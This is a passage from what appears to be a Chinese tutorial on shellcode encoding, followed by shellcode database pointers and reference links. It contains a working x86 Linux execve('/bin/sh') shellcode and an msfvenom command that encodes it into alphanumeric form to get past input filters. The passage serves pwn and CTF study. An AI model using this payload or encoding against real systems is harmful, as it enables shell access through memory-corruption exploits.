根据输入的 shellcode 编码为 linux 平台 x86 架构 BufferRegister=EAX 的纯字母shellcode:
$ echo "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
BufferRegister=EAX 用来告诉编码器 shellcode 的位置保存在哪个寄存器中,用于编码器在内存中找到 shellcode 的位置,对编码后的 shellcode 进行解码
具体可以参考Linux pwn入门教程(2)—shellcode的使用
数据库
可以直接查找现成的 shellcode
Exploit Database Shellcodes
Shellcodes database for study cases
参考
shellcode题目整理, /archive/1447/
shellcode 开发, /ctf-all-in-one/4_tips/_shellcode
Linux pwn入门教程(2)—shellcode的使用, /p/40006190
【安全健行】(4):揭开shellcode的神秘面纱, /windhawkfly/1652463
shellcode xor编码/解码[1], /moonflow/archive/2012/05/23/
Hacking/Shellcode/Restricted instruction set, /web/20111023111816//wiki//Hacking/Shellcode/Restricted_instruction_set
Writing IA32 Restricted Instruction Set Shellcode Decoder Loops, /Decoder_%
本文链接: /in-depth-analysis-of-shellcode-principle-and-encoding-technology
LinuxStory 原创文章,转载请注明出处,否则必究相关责任。
Copyright 2015-2022 财务报告网版权所有 备案号: 京ICP备12018864号-19 联系邮箱:29 13 23 6 @qq.com